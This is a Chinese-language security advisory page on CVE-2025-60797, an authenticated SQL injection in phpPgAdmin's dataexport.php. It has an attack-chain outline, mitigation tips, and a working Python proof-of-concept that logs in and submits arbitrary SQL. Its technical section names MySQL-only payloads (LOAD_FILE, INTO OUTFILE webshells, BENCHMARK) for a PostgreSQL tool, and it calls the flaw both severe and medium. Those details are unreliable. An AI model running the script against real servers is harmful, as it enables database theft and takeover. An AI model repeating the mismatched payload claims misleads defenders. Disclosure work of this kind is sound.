IPBUF安全漏洞报告
English
CVE-2025-60797 CVSS 6.5 中危

CVE-2025-60797: phpPgAdmin dataexport.php SQL注入漏洞

披露日期: 2025-11-20

漏洞信息

漏洞编号
CVE-2025-60797
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
phpPgAdmin

相关标签

SQL注入phpPgAdminCVE-2025-60797数据导出功能Web应用安全数据库安全认证后攻击

漏洞概述

phpPgAdmin 7.13.0及更早版本中存在一个严重的SQL注入漏洞,漏洞位于dataexport.php文件的第118行。该漏洞允许经过身份认证的攻击者通过构造恶意的SQL查询语句来执行任意SQL命令。攻击者只需在HTTP请求中向dataexport.php页面传递精心构造的$_REQUEST['query']参数,即可绕过应用程序的安全过滤机制,直接将用户输入传递给数据库执行。由于phpPgAdmin通常以高权限运行数据库操作,攻击者成功利用此漏洞后可能导致完整的数据库被攻陷,包括读取、修改或删除数据库中的敏感数据,甚至可能通过数据库的操作系统级命令执行功能实现服务器远程代码执行,从而获取服务器控制权。该漏洞的CVSS评分为6.5,属于中等严重程度,但考虑到其对数据库机密性的严重影响以及攻击利用的相对简单性,建议相关用户尽快采取修复措施。

技术细节

该SQL注入漏洞的根本原因在于phpPgAdmin应用程序在dataexport.php文件的第118行直接使用用户提供的$_REQUEST['query']参数执行SQL查询,而没有进行任何输入验证、清理或参数化处理。漏洞代码为:$data->conn->Execute($_REQUEST['query'])。攻击者只需构造包含恶意SQL语句的请求即可触发漏洞。常见的SQL注入Payload包括:使用UNION SELECT语句提取数据库信息、使用BENCHMARK或SLEEP函数进行时间盲注、使用LOAD_FILE读取服务器文件内容、使用INTO OUTFILE写入webshell等。由于phpPgAdmin本身需要数据库连接凭证进行登录,因此该漏洞的利用前提是攻击者已拥有有效的phpPgAdmin账户。虽然这限制了漏洞的潜在攻击面,但在多用户环境或凭证泄露场景下,该漏洞仍具有极高的危害性。攻击者还可以通过自动化工具批量扫描和利用此漏洞,对所有使用受影响版本phpPgAdmin的服务器构成严重威胁。

攻击链分析

STEP 1
步骤1
攻击者访问目标服务器的phpPgAdmin登录页面
STEP 2
步骤2
使用有效凭证登录phpPgAdmin管理系统
STEP 3
步骤3
构造包含恶意SQL语句的请求,发送到dataexport.php
STEP 4
步骤4
恶意SQL查询被直接执行,绕过所有安全过滤
STEP 5
步骤5
攻击者获取数据库敏感信息或执行系统命令
STEP 6
步骤6
完全控制数据库服务器,甚至渗透整个系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-60797 SQL Injection PoC for phpPgAdmin <= 7.13.0 # Target: phpPgAdmin dataexport.php # Authentication required def exploit_sqli(target_url, username, password, sqli_payload): """ Exploit SQL injection in phpPgAdmin dataexport.php sqli_payload: Custom SQL injection payload """ # Login to phpPgAdmin login_url = target_url.rstrip('/') + '/login.php' login_data = { 'username': username, 'password': password, 'submit': 'Login' } session = requests.Session() resp = session.post(login_url, data=login_data, verify=False) if 'Login failed' in resp.text: print('[-] Login failed') return None print('[+] Login successful') # Exploit SQL injection exploit_url = target_url.rstrip('/') + '/dataexport.php' exploit_data = { 'query': sqli_payload, 'format': 'csv' } resp = session.post(exploit_url, data=exploit_data, verify=False) return resp.text if __name__ == '__main__': target = 'https://vulnerable-server/phppgadmin' # Example: Extract database version payload = "SELECT version()" result = exploit_sqli(target, 'admin', 'password', payload) print(result)

影响范围

phpPgAdmin <= 7.13.0

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时缓解措施:1) 在Web服务器层面配置URL过滤规则,拦截包含可疑SQL关键字的请求;2) 暂时禁用dataexport.php功能或限制仅允许受信任的管理员访问;3) 实施IP白名单访问控制策略;4) 监控Web服务器日志,及时发现异常的SQL注入尝试行为;5) 考虑使用ModSecurity等WAF工具添加临时防护规则。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表